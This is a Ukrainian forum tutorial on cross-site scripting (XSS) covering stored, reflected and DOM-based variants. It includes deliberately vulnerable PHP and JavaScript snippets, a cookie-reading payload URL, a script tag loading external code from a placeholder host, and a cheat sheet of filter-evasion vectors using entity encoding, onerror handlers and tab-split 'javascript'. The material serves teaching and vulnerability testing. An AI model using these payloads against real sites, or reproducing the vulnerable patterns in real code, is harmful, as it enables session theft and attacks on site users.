XSS атака

Способи виявлення та експлуатації, вразливі додатки.
Аватар користувача
technate
Site Admin
Повідомлень: 61
З нами з: Нед лютого 07, 2016 17:38
Reputation: 4
Спеціалізація: Розробник програмного забезпечення

XSS атака

Повідомлення technate » Нед лютого 14, 2016 14:21

XSS (Cross-Site Scripting) - це тип вразливостей веб додатків, при якому атакуючий вживлює скрипт у веб сторінку що спрацьовує в браузері при взаємодії сторінки із користувачами. Вважається що атака спрямована не на вебсайт з XSS вразливістю, а саме на його користувачів.

Особливістю вразливості є її відносна простота виявлення та експлуатації. Достатньо пройти по HTML формам та посиланням на сайті підставляючи типові зразки коду для перевірки на вразливість.

Aктуальність
Безліч сайтів дозволяють користувачам наповнювати сайти певним контентом що може окрім простого тексту містити скрипти та розмітку HTML. Недостатня перевірка та фільтрація даних, що вносяться третіми особами, дозволяє вживити в сайт шкідливий код.

Часто вразливість існує при недостатній перевірці даних перед виведенням. Замість того щоб перетворювати розмітку та код в безпечний для виведення формат, вони виводяться в звичайному вигляді.

XSS вразливості є найбільш поширеним типом вразливостей вхідних даних, згідно зі звітом “Статистика вразливостей веб-додатків 2013" від Context Information Security.

Стійкі та рефлектуючі

Уявімо HTML форму для відправки даних користувача на сервер і подальшого збереження їх. Певні поля форми не проходять фільтрацію і код потрапляє у базу даних. Тепер достатньо перейти на сторінку профілю користувача і можна спровокувати виконання стороннього коду. Такі атаки відносяться до “стійких” або таких що зберігаються.

XSS часто зустрічаються у параметрах URL і спрацьовують коли хтось перейде по ньому. Наступний приклад серверного скрипта не валідує параметр $_GET['name'], що дає можливість виконати javascript код попередньо вставивши його в посилання.

<?php
/*
* Кажемо браузеру вимкнути XSS фільтр
*/
header('X-XSS-Protection: 0;');

$name = $_GET['name'];
echo "Welcome $name<br>";


http://site.com/page.php?name=Taras<script>alert(‘XSS’)</script>

Цей тип відноситься до так званих “рефлектуючих” XSS. Скрипт виконається на сайті в результаті переходу по модифікованому посиланню а сам сайт в такому випадку не зберігає сторонній код.

DOM XSS
Існують так звані DOM XSS, вони відрізняються тим що не пов’язані з недоліками обробки даних на сервері і є причиною неправильної логіки клієнтських скриптів сайту що оброблять інформацію взяту з DOM.

Розглянемо наступну ситуацію. Скрипт бере значення поля document.location.href для формування першої опції випадаючого списку.

Select your language:
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>


Сторінка відкривається наступним чином
http://www.some.site/page.html?default=Ukrainian

XSS aтака здійснюється передачою жертві наступного поислання
http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

Сторінка із сервера приходить без жодних змін, тому уся атака розрахована на недолік в логіці оригінального скрипта сайту.

XSS локатори та обхід фільтрації
Аналітики з безпеки веб додатків користуються так званими шпаргалками по XSS (XSS cheat sheet), які містять зразки коду для перевірки на вразливість даного типу. Їх також називають векторами XSS атаки.

Короткий XSS локатор.
'';!--"<XSS>=&{()}

Якщо в результаті на сторінці виявлено <XSS verses &lt;XSS, це свідчить про наявність ін’єкції.

При можливості ввести більшу кількість тексту, можна скористатися наступним XSS локатором
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Якщо після вживлення виводиться слово XSS - сайт має вразливість.

Простий скрипт без обходу фільтрації
<SCRIPT SRC=http://victim.com/xss.js></SCRIPT>

XSS в атрибуті тегу картинки
<IMG SRC="javascript:alert('XSS');">

Без лапок та символу крапки з комою
<IMG SRC=javascript:alert(123)>

Неправильно сформовані теги
<img src="x" onerror="javascript:alert('XSS')">

НTML символи в десятковому або шістнадцятковому форматі. Передуючі нулі перед кодами символів використовують для обходу фільтрації.
<img src="x" onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116
&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039
&#0000041">

<img src="x" onerror="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27
&#x58&#x53&#x53&#x27&#x29">

Символ табуляції для розриву XSS. Використовується для обходу фільтрації
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">

Більше векторів можна знайти за наступними посиланнями:
https://www.owasp.org/index.php/XSS_Fil ... heat_Sheet
https://gist.github.com/JohannesHoppe/5612274

Повернутись до “XSS”

Хто зараз онлайн

Зараз переглядають цей форум: Немає зареєстрованих користувачів і 1 гість